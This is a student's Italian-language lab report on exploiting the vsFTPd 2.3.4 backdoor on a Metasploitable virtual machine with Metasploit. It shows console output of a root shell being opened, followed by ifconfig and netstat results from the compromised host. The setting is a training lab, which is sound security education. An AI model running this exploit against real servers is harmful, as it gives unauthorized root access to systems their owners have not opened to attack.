

M4-Consegna week 15 day 4 – Daniele Rufo

METASPLOIT E METERPRETER

Usando Msfconsole e cercando i moduli Vsftp (relativi alla vulnerabilità che vogliamo sfruttare) siamo riusciti a prendere il controllo della macchina metasploitable.

Ho lanciato dei comandi base come *ifconfig* e *netstat* che, a riprova del successo dell'attacco, mi mostrano le info di metasploitable.

```
View the full module info with the info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.50.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.101:21 - USER: 331 Please specify the password.
[*] 192.168.50.101:21 - Backdoor service has been spawned, handling ...
[*] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:32955 → 192.168.50.101:6200) at 2024-08-29 15:11:36 -0400

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:59:6d:7f
          inet addr:192.168.50.101  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe59:6d7f/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:18 errors:0 dropped:0 overruns:0 frame:0
          TX packets:103 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1381 (1.3 KB)  TX bytes:9946 (9.7 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:160 errors:0 dropped:0 overruns:0 frame:0
          TX packets:160 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:45857 (44.7 KB)  TX bytes:45857 (44.7 KB)
```

```
netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 192.168.50.101:6200    192.168.50.100:32955   ESTABLISHED
tcp        1      0 192.168.50.101:ftp     192.168.50.100:35671   CLOSE_WAIT
udp        0      0 localhost:43315        localhost:43315        ESTABLISHED

Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags       Type       State         I-Node  Path
unix   13      [ ]          DGRAM      -           -       /dev/log
unix   2        [ ]          DGRAM      -           -       @/com/ubuntu/upstart
unix   2        [ ]          DGRAM      -           -       @/org/kernel/udev/udev
unix   3        [ ]          STREAM     CONNECTED   12612   -
unix   3        [ ]          STREAM     CONNECTED   12611   -
unix   2        [ ]          DGRAM      -           -       12476
unix   2        [ ]          DGRAM      -           -       12450
unix   3        [ ]          STREAM     CONNECTED   12376   /tmp/.X11-unix/X0
unix   3        [ ]          STREAM     CONNECTED   12375   -
unix   3        [ ]          STREAM     CONNECTED   12374   /tmp/.X11-unix/X0
unix   3        [ ]          STREAM     CONNECTED   12373   -
unix   2        [ ]          DGRAM      -           -       12319
unix   2        [ ]          DGRAM      -           -       12102
unix   2        [ ]          DGRAM      -           -       12042
unix   2        [ ]          DGRAM      -           -       12036
unix   3        [ ]          STREAM     CONNECTED   12033   -
unix   3        [ ]          STREAM     CONNECTED   12032   -
```

Poi ho creato la cartella `mkdir test_metasploitable`. Ho fatto un solo screenshot. In alto si vedono i comandi per creare la cartella (*mkdir*) e poi ho lanciato un *ls* per vedere se effettivamente la cartella era stata creata. Verso la fine della lista vediamo infatti elencata la nuova cartella *test_metasploitable*.